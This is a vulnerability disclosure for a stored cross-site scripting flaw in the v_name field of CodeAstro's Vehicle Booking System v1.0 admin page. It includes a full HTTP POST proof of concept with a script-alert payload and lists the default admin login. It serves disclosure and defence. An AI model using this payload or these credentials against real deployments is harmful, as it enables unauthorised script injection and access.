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Vulnerability Description

Vehicle Booking System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the admin-add-vehicle.php. It is an open source project from https://codeastro.com/ . This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the v_name parameter.

  1. Vulnerability Submitter: Tr0e

  2. vendors: Vehicle Booking System in PHP with Source Code - CodeAstro

  3. The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version

  4. Vulnerability location: /VehicleBooking-PHP/admin/admin-add-vehicle.php

Vulnerability Verification

[+] Payload:

<script>alert("XSS")</script>

POC:

POST http://192.168.0.120:91/VehicleBooking-PHP/admin/admin-add-vehicle.php HTTP/1.1
Host: 192.168.0.120:91
Content-Length: 905
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.120:91
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHwRD9k9A7fnBXCiu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.120:91/VehicleBooking-PHP/admin/admin-add-vehicle.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=ldi7mdlvm8g7bnfhunuvrhp8ne
Connection: close

------WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content-Disposition: form-data; name="v_name"

<script>alert("XSS")</script>
------WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content-Disposition: form-data; name="v_reg_no"

aaa
------WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content-Disposition: form-data; name="v_pass_no"

111
------WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content-Disposition: form-data; name="v_driver"

Demo User
------WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content-Disposition: form-data; name="v_category"

Bus
------WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content-Disposition: form-data; name="v_status"

Booked
------WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content-Disposition: form-data; name="v_dpic"; filename="Tr0e.jpg"
Content-Type: image/jpeg

123
------WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content-Disposition: form-data; name="add_veh"


------WebKitFormBoundaryHwRD9k9A7fnBXCiu--

How to verify

  1. Build the vulnerability environment according to the steps provided by the source code author;
  2. log in to the background management system through the default account and password(Email: admin@mail.com Password: codeastro.com);
  3. The vulnerability lies in the "Vehicles - Add - Add Vehicle" function, you should inserts Payload when you Add Vehicle, as shown in the following figure:

image image